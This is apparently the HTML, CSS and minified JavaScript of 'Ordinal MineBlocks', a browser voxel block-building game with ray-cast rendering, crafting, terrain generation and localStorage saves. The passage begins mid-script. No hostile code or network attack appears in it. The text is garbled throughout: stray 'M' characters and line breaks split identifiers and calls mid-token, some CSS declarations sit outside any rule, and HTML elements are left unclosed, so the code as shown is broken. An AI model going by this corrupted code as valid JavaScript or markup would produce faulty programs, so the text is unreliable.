andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
